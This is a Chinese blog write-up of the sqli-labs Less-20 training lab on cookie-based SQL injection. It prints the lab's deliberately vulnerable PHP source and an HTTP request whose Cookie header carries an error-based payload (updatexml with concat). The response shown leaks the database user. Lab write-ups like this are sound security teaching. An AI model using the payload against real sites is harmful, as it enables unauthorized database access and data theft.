Secondary injection of sql injection

  1. 前言
  2. 正文

前言

昨天看了Web安全攻防这本书的SQL cookie注入那里,如果书上提供的那个测试地址失效了。还好今天的Sqli-labss第二十关。
t019e2c9a650b6e85ec.jpg

正文

首先我们先打开sqli-labs第二十关的代码仔细审计一遍

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Less-20 Cookie Injection- Error Based- string</title>
</head>

<body bgcolor="#000000">
<?php
//including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php"); /*包含该php文件*/
    error_reporting(0);
if(!isset($_COOKIE['uname'])) /*如果变量不存在则执行*/
    {
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");

    echo "<div style=' margin-top:20px;color:#FFF; font-size:24px; text-align:center'> Welcome&nbsp;&nbsp;&nbsp;<font color='#FF0000'> Dhakkan </font><br></div>";
    echo "<div  align='center' style='margin:20px 0px 0px 510px;border:20px; background-color:#0CF; text-align:center;width:400px; height:150px;'>";
    echo "<div style='padding-top:10px; font-size:15px;'>";


    echo "<!--Form to post the contents -->";
    echo '<form action=" " name="form1" method="post">';

    echo ' <div style="margin-top:15px; height:30px;">Username : &nbsp;&nbsp;&nbsp;';
    echo '   <input type="text"  name="uname" value=""/>  </div>';

    echo ' <div> Password : &nbsp; &nbsp; &nbsp;';
    echo '   <input type="text" name="passwd" value=""/></div></br>';    
    echo '   <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>';

    echo '</form>';
    echo '</div>';
    echo '</div>';
    echo '<div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">';
    echo '<font size="3" color="#FFFF00">';
    echo '<center><br><br><br>';
    echo '<img src="../images/Less-20.jpg" />';
    echo '</center>';





function check_input($value)
    {
    if(!empty($value)) /*如果变量不为空*/
        {
        $value = substr($value,0,20); // truncation (see comments) /*从0的位置开始读取,长度为20*/
        }
        if (get_magic_quotes_gpc())  // Stripslashes if magic quotes enabled /*开启magic_quotes*/
            {
            $value = stripslashes($value); /*反引用一个引用字符串*/
            }
        if (!ctype_digit($value))       // Quote if not a number /*纯数字检查*/
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
    else
        {
        $value = intval($value); /*取整数*/
        }
    return $value;
    }



    echo "<br>";
    echo "<br>";

    if(isset($_POST['uname']) && isset($_POST['passwd'])) /*判断uname和passwd是否存在*/
        {

        $uname = check_input($_POST['uname']); /*调用check_input过滤变量*/
        $passwd = check_input($_POST['passwd']);




        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $result1 = mysql_query($sql); /*查询数据库*/
        $row1 = mysql_fetch_array($result1);
        $cookee = $row1['username'];
            if($row1)
                {
                echo '<font color= "#FFFF00" font size = 3 >';
                setcookie('uname', $cookee, time()+3600);    
                header ('Location: index.php');
                echo "I LOVE YOU COOKIES";
                echo "</font>";
                echo '<font color= "#0000ff" font size = 3 >';            
                //echo 'Your Cookie is: ' .$cookee;
                echo "</font>";
                echo "<br>";
                print_r(mysql_error());            
                echo "<br><br>";
                echo '<img src="../images/flag.jpg" />';
                echo "<br>";
                }
            else
                {
                echo '<font color= "#0000ff" font size="3">';
                //echo "Try again looser";
                print_r(mysql_error());
                echo "</br>";            
                echo "</br>";
                echo '<img src="../images/slap.jpg" />';    
                echo "</font>";  
                }
            }

            echo "</font>";  
    echo '</font>';
    echo '</div>';

}
else
{



    if(!isset($_POST['submit'])) /*如果submit不存在*/
        {

            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/Less-20.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';    
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>";    
            echo '<font color= "cyan" font size="4">';    
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];            
            echo "</font><br>";            
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';            
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);


            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                  {
                  die('Issue with your mysql: ' . mysql_error());
                  }
            $row = mysql_fetch_array($result);
            if($row)
                {
                  echo '<font color= "pink" font size="5">';    
                  echo 'Your Login name:'. $row['username'];
                  echo "<br>";
                echo '<font color= "grey" font size="5">';      
                echo 'Your Password:' .$row['password'];
                  echo "</font></b>";
                echo "<br>";
                echo 'Your ID:' .$row['id'];
                  }
            else    
                {
                echo "<center>";
                echo '<br><br><br>';
                echo '<img src="../images/slap1.jpg" />';
                echo "<br><br><b>";
                //echo '<img src="../images/Less-20.jpg" />';
                }
            echo '<center>';
            echo '<form action="" method="post">';
            echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
            echo '</form>';
            echo '</center>';
        }    
    else
        {
        echo '<center>';
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo "<br>";
        echo '<font color= "#FFFF00" font size = 6 >';
        echo " Your Cookie is deleted";
                setcookie('uname', $row1['username'], time()-3600);
                header ('Location: index.php');
        echo '</font></center></br>';

        }        


            echo "<br>";
            echo "<br>";
            //header ('Location: main.php');
            echo "<br>";
            echo "<br>";

            //echo '<img src="../images/slap.jpg" /></center>';
            //logging the connection parameters to a file for analysis.    
        $fp=fopen('result.txt','a');
        fwrite($fp,'Cookie:'.$cookee."\n");

        fclose($fp);

}
?>

</body>
</html>

从上面的代码可以看到:

登陆的时候对uname和passwd做了严格的过滤和去除反斜线,但是在通过cookie
查询的时候没有做过滤直接进行查询,从而引发注入。

kp8TLn.png

cookie中带入注入语句:

POST /Less-20/index.php HTTP/1.1
Host: 118.24.125.87:8000
Content-Length: 0
Cache-Control: max-age=0
Origin: http://118.24.125.87:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://118.24.125.87:8000/Less-20/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:  uname=admin' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
Connection: close

返回结果:

HTTP/1.1 200 OK
Date: Thu, 17 Jan 2019 05:37:48 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Vary: Accept-Encoding
Content-Length: 1028
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Less-20 Cookie Injection- Error Based- string</title>
</head>

<body bgcolor="#000000">






<center><br><br><br><img src="../images/Less-20.jpg" /><br><br><b><br><font color= "red" font size="4">YOUR USER AGENT IS : Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0</font><br><font color= "cyan" font size="4">YOUR IP ADDRESS IS : 113.77.238.53</font><br><font color= "#FFFF00" font size = 4 >DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br><font color= "orange" font size = 5 >YOUR COOKIE : uname = admin' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1 and expires: Thu 17 Jan 2019 - 06:37:48<br></font>Issue with your mysql: XPATH syntax error: '~root@localhost~'

kp8vz4.png

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Secondary injection of sql injection

本文作者:九世

发布时间:2019-01-17, 13:59:34

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/52a98084.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录